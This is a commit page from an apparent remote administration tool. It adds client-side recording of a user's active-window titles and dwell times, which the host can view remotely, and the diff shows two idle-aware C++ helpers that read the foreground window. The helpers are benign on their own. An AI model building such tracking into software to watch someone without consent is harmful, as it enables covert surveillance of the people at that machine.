Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and dwell duration), newest first, skipping dwellings under 5 seconds and breaking the timing on idle, capped at 500 entries. Add an "Activity History" item inside the host's Client Management submenu that requests the snapshot over the main connection and shows it in a new dialog. The dialog rebuilds its edit control as a Unicode window so UTF-8 titles render correctly instead of degrading to "?" through the MBCS ANSI boundary. The menu item and dialog title go through _TR and are localized in en_US and zh_TW. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
@@ -40,6 +40,24 @@ public:
|
||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
|
||||
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
|
||||
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return std::string();
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
|
||||
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
|
||||
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
|
||||
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return NULL;
|
||||
return GetForegroundWindow();
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user